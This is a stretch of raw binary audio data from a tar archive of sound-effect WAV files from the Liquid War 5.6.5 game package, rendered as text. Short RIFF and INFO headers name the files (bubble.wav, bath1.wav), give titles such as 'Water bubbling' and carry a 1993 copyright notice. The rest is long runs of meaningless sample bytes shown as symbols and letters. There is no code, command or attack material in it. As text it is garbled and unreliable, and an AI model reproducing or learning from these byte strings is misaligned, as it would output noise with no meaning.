n`brsbrxhoq~vlvygxs^veulqrgx|qahndorycg}txiux{q{TzPĮiyWxzlrsq{}wy]v~wwfvt|n[r{yw~|Nysxr~cs}}\pp^``xpjs}veth[l|a|Qju|zrynjv{rv{{}}}UxnsslnT}w:qĔz?pbub`goyzu{{ayNnt~v_|j~wkw}w~yf}{vnrkot|~vnuuuqnl~v}r~~vqexq~ttuyst{exq]~qlz{yzh}{p{Vilsqkxs}oeexe}frʆjyom{bw|yuy~wyrmxyk|~sfWzutgukpxt}wtlokm{uix~ra~xv|`}rxwdp{kkyl|v`yzfo|zbzixt|}jzm||j}ypnyozLaeh~m}j~syykzdyg}i¬f|mny~uyw¬regG|a|nxzmm~no`pt|rtpxyJ{zsym|xyoy|iwitpt|ymntztq{zwt~clɏ|X}m|xtq~sjm~yqx{j|Twzj}o{tosiCvrzt||s{pbye˙_wizylzy|fk{zWp}ovxpxk{iF{z~tygy|yrn|}h}q]klwopsp|wxiaujeq|V}ÊJk}zdgetX|^dpĄpr~fwrxs~zfluzmxTct|zokcJr{sdf[{ou{ycszX|ovhhy\|stss}ygtzpvaznecrvwjromwtZx}{[~kkN{rbR{tpp}csg|dgfesdqfσmJvvSxb~~q~c{px\XzsfÉ}~}eˆ^|qnmzwzjv~movzxd~nkkgzg}VtvyfXxwUg}q\itdp~nXuwxwxzntzJtiksuy|niuqr^zpsfpu~pz|v|efwwn}kzeuuaayw|fwq{}twvw~SKǩzwuj~Ofr}upte[ji]fWluGjzx~\Sqptqvq{~w`h}psrvqw~ivqs_x?bkls{x\xulajbpyi|nysvzZtwm{jg~ognyK{}^omt|itli~ky}Xwql~r~~}sqhov\srwvqlz|qfjqvtn{uzu|a{y`n[{|isnvux}zjq|ezxe\]eejz{xhjo|~yXn|_|twsovqykxyu{ri}Zycaqrywslsrxnwvtl_c|sr}R|w}~npb{}\buezzzfqir|pmwu{uvyx{yz`w}qxrug{wyzyy||wlh}pc|ezut}x{~jzyk|uv}secj{zvvmtqd}v{gxtuq{hqsTq`t~Xrds}|zvysuw|ylsm}ozfxhc}rvqodYf~|z|tyyy{psh~pi}t{p{|atx}`wX}snwsot}uoptmsvvv\w]t~x|x{wvo|ivyp`b}pnqmtmd{zw}lyz}xwfn|wyWwpjwsy{{xjzoyt~m{sx^|owmq[|~zyzM]uv|}ov{x}aiqqq|wzvf}kd~uc~|}n~|co]y~w]k|zu[bl~ic{cz{|~|o~gl}s_eng`qSfp~z[v}Y{ji~z}}xuto~yZx~vy}qlqmxT^Tmrt|xVgrsj{o~j|mux}ownrnxsyz^}t[pizZWlu}{why{ivn|Qwpn{}xnjx\Xtwv{Rq}~uoqwwoqzoUqjmpcyppyrjydtq|kyrjot~xscToWz~Zwzmisux}dxeje|uZ[‚VugP{wifsts|vypZcghp{t^sx^e~jsqmmrv~yi{~vzx~wzwpa{tmfqwuw|~wt~nhvvluz}md}[io~n}vzpuiww{d|tvxcpvwdv{{g}ypzu|}}ydqxu~~w~ntdyzrzzvwuowswxrzxu~Tzgotƕ|Rx]lczmZrt~ogn^xqs}wpsr}~m{}s|fkyozr{gvfnr}zyxp}ztty}{nwyv]|~|l|pf|o{rt~|ty{vl}_vw}bzrz^vpyzxmuvsvdqMn|q|q{jrrszbjv^~odv_up^wuds|ry{xzqw}~rouz}zw}aw~xy~un~fm|vubvjrv|{jinniBthrwurjlk}b{zZ|Zptvucm}growhw~wyichkr{li|gs{s^yabrdyyxrvvzzusxmxxzrQumpugfr|z`{rts}yyj~u|xvh\hrkc|to~}{wzw{wctwwlkVyhdf_qǐbh[vw|t{}vmmz~nxlw~[Zywyv|rhjy|uupdqbrfvvzuuyZv^twv^~zp}rmvxiwgqwzwmpupwtwtxhvsfwo~}f~wzttruzzsNz^l~{j{piVkjxew~Xyok{mpxo||ygz|vylvvdyuh|`jxto`srspxc͔}[s|tkerq~xL~oz|{zcvnv}mfdWruyouwt`xj|plznsv}n}|ma}rtf|u]{tr|wovupd{o}r}]x|uvscmqomioqfwjtg_~fkiuhnrvzv{jsy^kl{~jsnaq}ukvs~ƕvzwgrvzs|h}{twd~wonmuncxxv^{paeS|szxivst}wp}zrk}m}|~h~uozw~y]{}mjsgnzvpu~raxruezo~csfPqyy}zrs}vsxp~{rk]q{kXo]qtuoarX~\^hxx~NJwsxsg}nz~|\z`uz~mmRssvnÓlcwsYƘ_^sv}umiqhemh}rzter{s~p}f{u[Zz{y}||fyrhY|x{qy{t}_{ngxsddql~s~irsuwj~v~xypcptt~zuyduqyuznvkq{c}joznxz~te}w{~yr~yohwxswr~lmn{|bi||vx{{jjr{Mpb|hogkuuxS{y{jZ~wnwaͲvmjivg]p{thp~ynk~vixr}ykrujkipmdsr|ztt~dtbwwtxsvi}{n}{tk}{z|zy{p{zcz`{x}p}}{{_t|r{kh[mvtoefxjtsmrplwo~~~e|z~Vmqoh|uivm~~}srw}y{yuvz}xsuywztlumjY`qyyv{otz~xxpxzwy|zzoW{{qbrnqpmktZqyvx^vpvyj}sYu~pw|w|\uyikq҈b`zoxsjv~}xu|zlr{}boWv~~wFiwq~hvz}w\j}gduo}s}r~|yt~{qv^v}t||w`Xyoxurly~}o|m}ztppjzpqvwx~ski{wcmcv~bi}|hwrVrz{iw~rpÔ~pn||j~W^mu{wrss|\bngjqh[{vwu}zo}z?xzy~vzpvsmws|y}e{lnuv~z~asgqxzjsyqpzoou|oZkqpxjs[yr~|x}r~v|vqzvhl_dsexahjnsg}o}|xw`||`b{pPt}b{~uz~a{pq\xzv}lwZv~~]zt}dvtwq~qaq~}r~l}pzr`|yb~[ks|q{qsvpvxspkvu|kfppdxt{j}|lu{{~Z^mm^v~|z\Ѵifgtvkykdf{|`xrt~tspsq|yO~luspfw|~qedhzsmysuxyrvtmwljtpt~|qxy}zyjz~}qusnwfnzuwvvkme|{{o~]zrvr{x~l~xo||m|}yiyvwtxgbst^w[vfuc~uykj~u|p|quzzlrhqnZI؉N}ntq|Xvw~aa{oshwh~g|y||g}sxs}t|vluol~~s}fx}~g|_}y~gppvszxy~{~t~qWSfscymvvy}uqz}}`qf{lwzykyzxp~y|YpxYbv~rky~|VxdvW|s{mooxwytc||e~|mxz|rt}zt{tupws{}|c{xvouqvihV{|kp|iekqiyx`vxo~tl^xi}_}}}rx{~j{|z}}qnzwxltwOjdoxx{~~nyrsk|tz`xzqv}lvrqvnwegvw~vuczozi~~{l~jxu{kkf|w{|kkfmvdvkqvs|pk~oxk}txwyu}zyvt|ryvpgjSpV~x~f|sgvkhamv~gjzw}|j{xz{yxht}zsqrywn{~o{|nxYyzmzkY~xf~}qz[kyyv~hq~h|gyx}~t}jkby}y{ur{v~kj{sl^}zwrjlcpvzljxmm}qvzi|uzo|Odtk}{jcWsz~wworrYs_xy}}QwrvS~Rx~|tvrkknsp}~zmtgtyu~uwzx}sqZtvlk~slqmn|hvwomixben~tzruZsllcnXx~gy|r~`{|tqnzs_v}t|{~|q~dwrqy|uupity|lzz|q|m{x}~ov{s{rxhz~xxs}orf|ntve`xwuky}yos{qvx~svhp}s}v{zc~Vnepve~~s{ttyrkgrxbl|ur`{x`yeueur{}zs~\{iuxvwx~q|zruq~}lku}rjuxoy}T|{~~qcsy{x~|wvurmywxz}vw{}pzsz|yzzt~{zlktf~h}wqka~rvzyn~gf|}y{~}lr|y~~ntqni{zydsz~olwxz|ruyr}r{{v|y{~w|xyty{z~iv}~jzlpwwvxy{x}~nx{{rx}x}pjyxuw|xlupl{v}sp|w~u{qnpuizyr{}oz~}}~t}tynsw~{kxn}z}|o}vy~~uvzryyxs}vtt}[n{nuysq}y{~|}~y|~}v{{|}xxoqzn|~}ztomuzi{hzo~mzzsvpoyr{|~us}|iw{mtt|x~wdwtwp}iqfzq|s|mykywvs|x{w{~ryvt}|y{r{z}wuzre~~n{}yuw~{z|}|~xt~urq{{{sr~~{|zzx~{~|sqz{s{wux|}j}xrpiws{z{txv~~~tw{uv{w}~|unt~quwr~uu~t~x{}ws}|~z|{nwwozqzwlqw}x|brnvtmxwtxvx~u~zxzzzvzp~y~n|wtx}}wwx}{|}}}z|}oxtu|wy}txxs}|{q~|{stxp{~v{~}~y}s{zsztt|zw|wq||ul{}vt||zu|y{z~nt~~|ussv{ptx{qzv|{~x~~q|v|r~||yz}lz|uryyu}v|v~}wqyk~~zv}xz~zpor{pw~qy{zqwtuq{x~xxzy~qmxsq}vql~lu~t}~qu~}tzysxxv|{}rz{yzsyyz{}zuv|z~z~xy}}{}~z||zx}rtw~~}}z|zy{|wx}yyw~~~}~{yw}~xu{q}{npuw|}x}{||tx~~wu}{x}}}{~|z~|}~w{}x~w|~~w~v~|vz}zvvzy{yrv{{z~}~~xxy{~}wzx|~~{~{}|zw|}~{{~~|{}~x~}~~|zy||||~~{yyywx{~}{z~y{vyz~x~{}|vy~{{x~z{}{w|xzz|{}}|wx{wwz|~w~}~}||{}|}wu{}s}~~{}}yy~}xw||q}xy~{{}z~{|y~~~}|}~x}~}}~|}~}~z}}|||~~}z|~|{}}{}|~~{|~~}}}~|{{~}y~~~~~|~~xy~}~}~}}~}z{z}|~~~|~~||~~z{}~}|}|}|{~~~~{|~~~~}|y{~}~~z|~|~z~}}~}|}}~~|~~~~}~}}}~|~~}}~~~~}|~~~}~~|~~{~|~{~~|~|~|~}~}~}|~~}}~{}~}~~~}~}~~~~~~~~~~~}~~~~~~~~~~~~~DISPl( wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwpwwwwwwwwwwwwpwwwpwwwwwwpwwwpwwwpwwwwwwwwwwwwpwwwwwwwwwwwwwwwwpwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwDISPForest w/running brookLISThINFOISBJ\Nature in action 1993 Interactive Publishing Corporation. All rights reserved.liquidwar-5.6.5/data/water/bubble.wav0000664000372000037200000015520213407756104017153 0ustar travistravisRIFFzWAVEfmt ++dataU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}||}~~~~}|}~~}}~~}~~~~}~~~~~~~~~~~~|~~||||~}~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~{y{|z}~{zzyzz{{|}}~~~~~}|}~}~}~~~~~~}~~~~~}}~~|ywvwvwz}~|yxvuuvuvy|~~}~}}||{{|{|}~~~}~}}~}~~|yzz|~}{ss|}y|yz}xxzzyxy{zwuw{~~~}|zwuuvwy|~~~~}~~~~}||{|}~~}~~~~~~~}~~~~~~~}~~~~~~~}}~}~~~~~~~~~~~~~}~~~~~~~~~~}{{~|zz{~}}|}~}|}~~}|{}~~~~}||}~}~~~}~~~}}~~~~~~~~}}|{|}}|}~~~}|}||}|}~~~~~~{zz{{yxuttux}}zurokhecbcfimryzvsponmnqtwz}|yxvutsrrstvy|~}zyxwxxz{}|yxvvuvvwz|~}|{zyxwxy{~|zyxwwxyz|}}{zxwwxyz{}~}}|{|}}~~~}}||}}~~|{z{||~~}|{{|}~~~~~yussy~xxz}}yvvyzrljlnquwvvw{|~~{}{uv{}~}}{xy||z~~{{{yz||}~}|{||{|~}{{{|}~}}|}~~}}~~~}||}~}|{z{|}|zyz}~~}|{|}|{|}~}|}~~}~~}~~~~~~}~~~}}~~~~~}}~~~}|}~||~}}~~~~~}~~~~}~~~}|{z{z{}~}|{yxyxyz{|~}|}|{|{{|{||}~~~~}|{|}}xrnnpuz~{vsrqppqsv{yrooqrrqqrstxxtronkihhilot{~{zyz{|{|}zyvtqoppqtw{|zyxxy{|}zvsrqrtwz}}zwvuvxy{~~}{z{z{|~{z{{z{~~{zyyz|}}}||}}~}{zyyz{|}|{zyyz}~}|zyz{|}~}|{z{|}}}||}}~}~~~~~~~~~~~~}{|{|}~~~}||}~~~~~|xvxsg_]blwn`[\cnx|z{zlcbjw}ynijq{}rjin|wrt|{srwztuwppv{vv}~rlp~xcXc|bWYbjrrjhs|qaTSau}{|}yphb`eq||y}}rkm{sijryxqkgm~yrnllnu|rhhq|umknw~}skims|ypllos||xvuuvzxtrrtx{xrprv|~xustx{xwwxz}vnyphv~kizojwwu}{x~|xz}{~~}|z}{yy~upy|w{~{{yx}~}}{{~|upvtry~yst{xsv}~|}}xy|qp{{x{}}ywzzz~~}}~~}~~~yonz{hajthiu{utzxoov}tqv}zvvx~zvv|}utz}zyz}}xx|}xuw}}}{y|}~zx|}}{y}||}{}~}}~}~~yvvxyz{~|ywxwxwtsuy|~|{xvsqqtw|~{z{}}~~~}~~{zyzyz{|~}}|}~~}~}||}~}{{|}~~~}|{{|~}|{{|}~}||~~~qjq~xpieiuukhnw|qnmnr{zqjhkvrhejvqecjwznghpoedkysfbhwqedk{{lefqnbbnqdbl}qffq{mglywlktynkr}sqv{ut|~ury~vquwsx~|}}||~{}}~~~}}}~}}~~}~}~}|}~~}{{z{}}{|~zy{~|{{|}||}}~}~|xsokiijmpuy~|zyxyz}~}~~~}}~~~}|{zyyz{|}~~~~~~~~}}{snot{|{yyz{~~}|}~~||}~~}~~ofjyyposyxtmlu|yz~{vsqtz}}{{}}~}~y}z^LUx}ld]X`p}necgt{oedq|vsrvxy|vrrw{~zrps{~}|}{xxz~{wx{~}}~~||}~zy{~}z|}yy|zvvz~zxyz}{ww|zwy|}wtwyx{~|z|{yz~|{||yy{|{|}|rqz|y|xv~ogn~tv~|x|vnr~|y{~{}~||}~}}~~}~~~~}||}~}|{|||{{|}~}|}|}}|}|}~~}~}zxy|}{xvvy}~vpmjhgfgfghkpw~~xspopqrrvy|~}zyz|}~~~~}|{zyz{{|}~~}||}~~~}|}|}|}~~~~~}|}}||~~|yyz{~{xuttux{}{{}}xvuwz|upmmtnXKHO_twg]\cstjip|{ojo{xii|nL86Hcwsxzj_Zcvyidgouz}taWZi~ui_[aslWOUf{zqkhhlttd]`k|{mfemytkikr|umjnxzlehq|rmnvunmqzzqnqzslmu|roszwqqu}wsu{zuux}~ywz|xx|zvvx~~{z|}{|~||}||}|}~}~~}}|}||}~~}~~~~~}|{|~{wuuxyyz{~~zvsqpqrtwz}~}|{{|}~~}|{yyxyz{|}~}|{|{|{|}~}~~}}~~xvwyyvsqpopvwqnibZTQOPSX^emyvplihhiknsz~yuronmpuz~|yvtsrqrtx}}xututstvz~yurmmnoqty}zwutstw{~|yxvvwx{~~{yxwwx|}|}|}~~{xwwxy|~{xwvvwz}|{z{|}~}zywwy}|wvwz}~{yy{~~}}|}~~~~~}{{}l_XYbrzvtux|~{vrsw}smmsz}qcXU\jz~~|qaT^|ɶd>(+BdueZU[qɰs_USU\hzbH?H[w~j\VW`szdZY`kwxeZW_rxjb_dprhdjv}qigmwqjmu~rosyxpnrxvqqw~xtuyyuux}|wux}~yvvz~ywy}yuw{{z{~{y{~zxy}~|{}}}~~}~}zy{~||}~||~~~~}~~}~~~{{zxutsw|}|}{upoptwxxy|~||{{yxwxy|}~~}~}~~~~{vsu}{rry~tieabht~}uk_TJDA>=?FOYgwľ|phaZTPQV^gpz{vpkhhjkmpv~|uqpqrsrrty~zurqqrsux{~xtronnoqruz|vqonoppruz|wtqopqsvw{zurqrssux}|yvttvx{~|zywwxy|}|{zyz{|}}~}}~}|||{zz|}yvuuvxz}zxwxxy|}{zyz{}~}zyxyz}}zxxy{~~~|{zz{~||}~~}}~~~~}}~}}|zz~~}|}~~~|{|~|{z{zyxyzyxwy~xttwxyy{|}||~}~~ujbeysU=/.,&-Fx׺pUGDIS^nŠxT9.4Ir˺{]H;56FlÝlD,!$8\_D702DlӽdA.*4NvÿoO:01Bdη`?-(8]̱`B7=OjzbOEHXtyaOIPdwh`_cm}rfagu~lbclzuhbcmqfbhvwtonwukfkutigo|}cWax}se]dzqcckwndepxlgjvoeelxrggp~zpmpyvmimwztrt{~z|}{z{|~}}}zz|~{{|}~{y}|z~|sqsy|xw|}xuvz|vx~xvzzsqsz{y{{y|~{yy|~~}{y}~||}{{~{uv}}|}~~~~}|~~|{z|~~}}~|{|}xwy|~}{zzyz}~}zyvtstvy{~~~~{xwwvwx{|}~z{}tqswy{~~}zwy|~~~~|{|~}~~~~}}~~|{}~zz|~{y{~~}}~}~~~}~|wxxpszsw|uy{v{|{~}~~~~~~}{yy|yuwyxwurqstx{uqnjea_`bflsy|}yy{zxz{wuwyyz}}zz}~~|{||{{|z{|}}~}~}~}~~}~}}~~~~~~~}~~|yxwx{~{zxxyz}}{{z{|{zz{|~|xxz~}zyy|}~~}~vnlu~vtuttsu}uos}vhanj_^aefkzpbcmxte^alxpb^co~}vnlpy}xwxy{|~wrsy~}|}}{|~}}~{wy~~}~}~}~ztty{uuz{{}xux}ywy~~||~{wy~}}~}zz}~{{}~~~~}~~~}|~~~~~~{xx{}{xvwxzyxy{~~}||zyxwxwwxy|}~z{{|~~~|zzzvuvwxxwtrv~ytqnmjiggjotwz}|{|{{yxwvwxz{|}}}|{zzz{{|~~}|{|}}~~~~~~}||}~~~}|{zyz{|~}}|{|}}|}~}~~~}~~}~|z{~~~}|yvsrqrux{~{xutuvyz{|{|}~~{{}~~~~}}~~~}|~~~~~~~}~~~}|}}|}|}~~~~~}||}~~~~~}~|xxy|}}{|vppqpmha\Z\dnwyqjgfjovz|}|~|z{|}|yvvx|~zwwyz{zyxz~|xvwxyz{|~~zwvuvxyz{|}||}~}|{{|~~}~}~}~~}}~}}|}~}|{{|~|{|{|}~~}}~~}~~~~}}~~~~~}~~~}~}}~}z}~z}qmuz{utzzw{}|wv|}xvvy{yz}~}|}~}{{|~~}}~~}|}~|{|}}{z{~~|{{}~|{{~~|ywwz}unifedejs{xmcZVTUX]cint}{yy}ysooquxzzyz|}||~~}{zyxyz}~~}zvtstv{}~~}~}{xuw}}ywwx{~~}}~|{{}}|{|~~~}~~~}}~~~~~~~}|}~}~~}~~~{y{~}|}|}~}||}~yy|~~}}{rmp}wfbiy}|zvqqzve_lunnrzyusw~vpqw{ojkq|}z|}{{~|wttw|zttv~~xvy{z|{yz}~}||~{y{|vtx{kbaht~}rkkmu{rjaVMGEIQZcint|qd_ajvyzzpjinqspkgeisxsqqsx{{z{{wwxxvqkhks}zsnllosuutv{|wspooqu|}zxwvwwxwwz~}{xsqsw|~yvvx{~~{zyxxwy|~{wttvz}xtrsvwz||yvuuvx|~}||}zxxz{xvvx|}{zz{}}xuttux|}|{|}~zwvwy~|yvtuy~{xwxz~~{zz}~zxxy|}zz{~~||}~}~~}~~}~}wrlhgks~~{vqoopqrqruy~|ywvvwxwvuuvy|tigstdYQGFJS`oȷ}`MKS\dhjmuxien|tpvxf^]`dea\_qrP=JïwD"+Nή}O31Hq}ih}l]_ksqh^[gtqkfsxp[X_eig^RPZkvsrnklnpswuh_ckoyr_TONOVjmB4KqlWKPbw}j\TZhz{k\UZjyof]Zd{}rhcefitqb]`hrzl`^blxxlecit|sjdbgt~ncbfkr|i[^jumJ:MxtdZ^lx|v^[hu}~}xneesywtomr~|i\bvshgq~xvuvy}{uqrx~}zz||{zz{|{wwy~~zwvx|~}~}xwx|}z{~~|{{~{xxz}{z{~|z|{wy}yx|}xtrrv~yussuxyyxwx{~~~yy{{xxz}~|yy{}}zy}~yz|xx}~~{rmosx|}{ww|{ojkg`ZWVWX\ckt}wneaacgloqu{~}{xwvwyz}VHiU>uMEvrZkx\evdpz~~yux}ysu||}{z{zyvu{~~|z}}|{zz|~|{z{}~~}|{|}~~~~~}}~~~}}~~~~}~~}|{|{|}}|{xxy|}~{zyxwxy{~~|ywxzzqicbiyiSIITewm_[`l}}}~~|ule_^coyspruy{z{~yi_^bkx}qf_blzwoieekwwmecdjt~ticcir~sg``hurhbcisqgbekv}pfcfo|uidemz}ogeisznhgoy}rllrzxplns}vmjo{zlegs{qklsypmpyulkp{wpnr|yoloyywy{ww{|z|~uu{mdmyjl{}|}}{z~ztsz{wxytv}{}zx{zvx~}{{}~~}~|y}xw~wy~wy}~~~~~~~~~~~}}|{|{|}}~~}}|{|{|}}~~|{|~~|||upkhhjquyyrkb\WPKECCFLT\jzƽth]TOIDDGMRZfq||tniea_^_bgmv~}xupkhgeefinsy}wrolkjjknrvz{tКsgkxzvsrstvy~~|{z{zyyz|}}yvurqrstvy|~{xvutuwx{~}zxwvwyz{}~}zyxwvvwz|~}zyyz{|}~}}~~~}|}|}}|{{|}~~~~~~zsqxbE2,3Ihsf^\apveZVXcrxmjv}Ӳslg]PD<:?Kd{rg]PC86@UooYLHO[ix{lb][[]agqxpi`\\biqzxk`VRSYcp}uh`Z[akv~woe_`foy|rjeceks~}ricbdjs~}rhbaekts\KEGUnpR@:AZ}¦[?02HoyXA?LfʸpO<6@Z|˵jJ96DdäzS:/8V̫U:2Ab›nG12Lwү~M-)@lײM/+Cpس}H(%Ct͢i:%0XٷL,+GwǙb5'=m]8/DoҾeC:NuǴdIFZ|`FE[~\CFcɶcECY~kSRc~v_ZguhfrlYS`|n[]qhX`z~lejyyhai|{lfn~ulnyodi|~tll{hcrwoqthlzxu~usz}wxulpz{yz{ulegr{|}oebejmpruwx~}vpprw{{xvw|zxz}{xyyvqnnpuz}~{qighlqtuuvy|}ysqprw{~~{zyz|{xuuwx{|}}~{z{|}~~}}||}|{|{{{|~~}||}~~}}||}}}|{{||}}|ywvwx{}~|{{|}~~}~~~~}}~~~~}}~}~~}~~~~~~~~~~}|}}|wspopt{|wqmllnrxzwutux}~}~~||}}|{{|ztqs{ypjhls|}xttvwxxwuqmjlt~zw{xnlpv|~wlb`hvyi_[`hnomhb^_fsxolov|}xsoqy}{uqqw~|vvwy|}|yvuz}vttv{~~}zz||vrpsvy|~~}{zyz~{yy{~~{zxwxz}~{zz{|}~}zxwwxz}~{xwwxz{}~~}~~~}{}}{|}|}~~}~~~~~~}||~~}}~~}~}|}~}}~{wuyxuw|{wuuzzwvx|zxxz}{yy{~}{z{~xru}}{{}}|{z{~~~z{~}}|}~{{~}~~|}~}|}~}~~~~|{|~xsqu|~{z~{tnlmqtwyyzz}}|{{|}~~~~~~}|||}~~~}~~~~zx{|ywvvx{|xx{}zyvuuvy|~}zyxyy{|{{|}~}}xoihktxqoqv}xqkjp}cOEGSdvmb\Z^gwwi^XY_is{ue\Y^k~xnhhknnklumVJIUj}sjc`acl}p]TU^l}}pbYUWbvnXKKTf{}mc^Z[dw}bQOVbsud\]agrzfXW\jweZZcqnb]akyyfVSOcp^RK_w}gZZau{i[Watn\V\ota[^k~~fTRaxu\NUlx^RXntnmosyq_]nxWRf}}~vop|}cW`{uYUg{z}{uryu\Xj{ln|yolwwkjw|sqyvpqwyqs{upt~xsv}}vu{vsv}wvz~xy~||~|{~z|}||~}}}||{qw~}~yztmqyxssvuw{smifededehmprv|~|ywvwxwtrrqqswyz||zyzyxy{|}|{xwvx{|~~}~}|}~|{{|{||~~~~~}~}~~~~}~|~~~}~~~~~~}}~~}}||zyyxy|~~}|}~}|{|{{|{|}~~~yvy~{spqtxvrprvy~tkd_ZWTSSX_hr~~~{wxyzzyxwwy|}zyvvwy{~|ytqswxz~}}~~{zzyxyz|}zwvvwy|}{zyzyz}}zvtsstw{|{zz{|~}|{{|}|{{|}~|{z{|}zyz{}|yxyz{~|{z{~}zxwx{~|zyz{~}zyz|{xwx{~|zz|{yyz~|{{|~{yyz}~|{|~|{}}|}|{|~}~xstzztprw{uuw{vqt|zsqsy}wvx|~xtsw~{wx|{{}~yvtw|~~~~{xxy||yxz~||~}}~~}}}|}~}||}{|~}|ywwz}vjehov{yuqoowoYMKR^gh`VOSc|pdcm~{raZ`n~yolsxw}spvvqt}|wqrzvqu}yw~zsnjhks}~tnjhghfiprryqcZWVTQLIINXer~~{}zqjeehmpqru}yvuuqkhks~ytmhhmqu{~tlilquwzypigjklou~{urqnmqw|}vqopqssu{}tppsxz}}zwsqxvqu{}yvyvrrtuuy~zwuuxy|}zvtux}}|yy{~~yvuuvx{~}~}|~}||}~~~|{z{|}~}{zz}~}|{|}|}|{zxwx{~~~}~}~}|{z{z{|~~}}~|{|}~}}~~}~{uqoqw|~}~~|yvtvy{||{{~uywy~{xhesskr||~}{}}}|~~}}~~uu~}{{|~~}}|{zz~}}zz}~~~~~}~~|~~~~~~}}||}~|{zyyz{{|~~}~~}|{z{|}~~~~}{z|}wuwxwsnifdix}n`XQKFB@@ADJWk¶vj[KDK[fcYT`wsfdehnttj^_ssq{{pfejqw~{yywqlhksy{~wqonmjjlpu|wplkjjkkmqw{uromjiiov|}wsplkkloty}vqpoollpx{xvurppsx~{wtstuwz}|zyxwvwz|zxvuwzzvrmknru{~xspoptw{}xvvwx{~}}~{z|~voq{~yy|~zyz{|~~{xxz~||}z~~~~{x{{yvsqsx~~yvuvwz~~ysoorw}|wssw~}vpkilqv}~|{|}|}{{|{~~zspyoP;22>WyyhXQRXdux_MGN[gqytWD<@Qn̿fQJMUao~cC.&-FnʽfUQU^hr˽vR<5?\ĿeMABGUo©_C7;MloRA>H^}ŷyWA;E^vT=:KibGE]Ƽ^H?F^ƬdJ>CZ|^D8>W{ż}\G@Jfɽ{XA=MkpQ@AVwø`JBLf˯`F>IcźqL9A`¿jQGOhĮ`DESdr|yla\]dp|xssw{utyztsw|x}vqry~yy~vuz|rkkr}}|yrnloy~|vtv{}yz~~||zz|{ywwz~}~}|~~~~|~~}|{|}~}{zzz{}}~}|{|~}~~~}|}~~~}~}~}}~|}}|}~~~~{zz{~}zyz|~~|{z{~~|{xx{~~}}~|y{}|~~}}~~}~}|~}zxwvuuvx{ulhhilmnqtw{~}}ztommpuxy||z{~~~|{z|}~~~}}~}x{wrxyz}wz~{}}~~~~~~}}}~~~~~|{xwwy{~~}}{zywtstvy{~~}}|yxxwxz{|||}}}}||}xspuwsu{~wld``gxweVONLHCCGLOQVkǺ~sh^SJDAEO[dkq{|unieb^\]`cit|ytpmjihiow~wqlihiiknqv|zuqnmmpqsw~}yvqnlkjijmu~}vqmjgffhls|}vqnllnooqu|~yvsponmnqv}~zwtqoopsv{}zwvuvxy{|~{zyxy|~{qou|xn~s`o}XVtg\onp{rzuszxvz~{yyz|}|}}zxwwyz{{|~{tmhddis~}zz{||ytnkhgghnwztruztha[XZcqqbWQRYg}yvvzxpot{{xwxyzyupllqyxpmqx~~|rkjnt{|tnmpuzzustw{~wpllrz|wtrrx{xusrrv|{sooqtyvlfekt{tnlnt}wpnnrx~wolnt|wroqu|xpmowxpmpwvpqwuprw|xtsu{|uqrx}zz}}xwxz~|zz|}~|{|}{xy|}~~{vy~zuuz~udgrmbchrye[`rnaak}}mb`k}ocak}|mcco{ldhttjgmx~rklwxmls}xlioyzttw{|tqpu~vssxzusv||wtv~zwy|ww|~volnqstv~xrkfgouy{|}|z~|xwyz{zyxxwy|~~~~~~~}~}ywz{tppqqqoqvz{|}vmeaadikjjlrz~|~~yvvx{}}zyyz}~{yy|}zx|wrsw}xqllrxwqihpzssqlgdb^XUU[enu~zsnkjlpx~|vsrrqqrtux{|xvutuvy}|yvtqpqpquz}xurqqrstw{|yvtssux||zwvwyz{}}zxxwvwz{~}|yxwxyz|~}|{z{}~|ywvuvwz}zwutuvy||{zyz|}}|{{|||{zz|~||~~}~|zz}|~ywzzxvz~}||zxxwx{~|yxy{~}|{{|}{||~|zyy{|}|{|}~~}|}~~~~}~~~}~~~}{zz{|~}}~~}|}~~}|}~~}|{|~~}}~~~~~~~}}|~~}|}}yw{}vsu{~|}yvrtwxxywtty}~~|||{zxvwz||{}~yxy|}}zz}}xvz~}||~}}}{|~~~|}}~}}~}|}~~~~}}~~}~}~~~~}~}~~~~~~~~~~~~~}|}}~~~}}|{{|}~~~~~~~}~~}~~~~}|{{}~~}~}zxxyxyyyxxyy{~~}|{zyyz{{|}~~~~~~~~}}|}~~~}}~~~~~~~~~~~~~~~~~~~~~~~~~}}~}~~~}|{{|}~~~}||}~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~DISPl( //////////// //////"/"foffooofffofoofffffofofooffffffoffffof`fffffff`ffffffoDISPWater bubblingLISThINFOISBJ\SFX 1993 Interactive Publishing Corporation. All rights reserved.liquidwar-5.6.5/data/water/bath1.wav0000664000372000037200000015520613407756104016723 0ustar travistravisRIFF~WAVEfmt ++dataU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~}~~}{}xz~{~}{z}{~|~~~~~}}~}~~}~}{|}~~~~z|}~}}~~~}~~}}}}~{{z||~|~}~y{}~~}{|}~~z}~}z}}}~{~~~~~}|||~|{}|{}{}~~|~~}}}~z{}|}~~~~|~~~~|~~~}}}~~}}~~}~}~~}|}}~~{~|}~}~}|~{}}~~}}}~~|~||~{|~|~~~~|~~~~~||}}~~}}}~~}~~~~}~|~{~~~~~~~||~}~~|}~~{~~~|~{~|||~}~~~}~}}}}}}~}}}~~|}~~~~|}}}~}}}}|~~~~|~}}~}~|{|}~~~}~|}~~}~~~}z}~~}z~~{w{|z|~}{|~|~{~|~|~~|}}{~|~~~||~|~}|~~|~}}}}~|~}}~}~~~{~||~}}}~}~~~~}~}~~~|}||~~}~~}}~|}|~~|~}~~}~~{|{x|||x}~}|~|z{{{z}}~}}|~}}~}}~|~~~~}||}}~|}|~~}~{}|~~|}}}}~uz{uyxpio{|zutz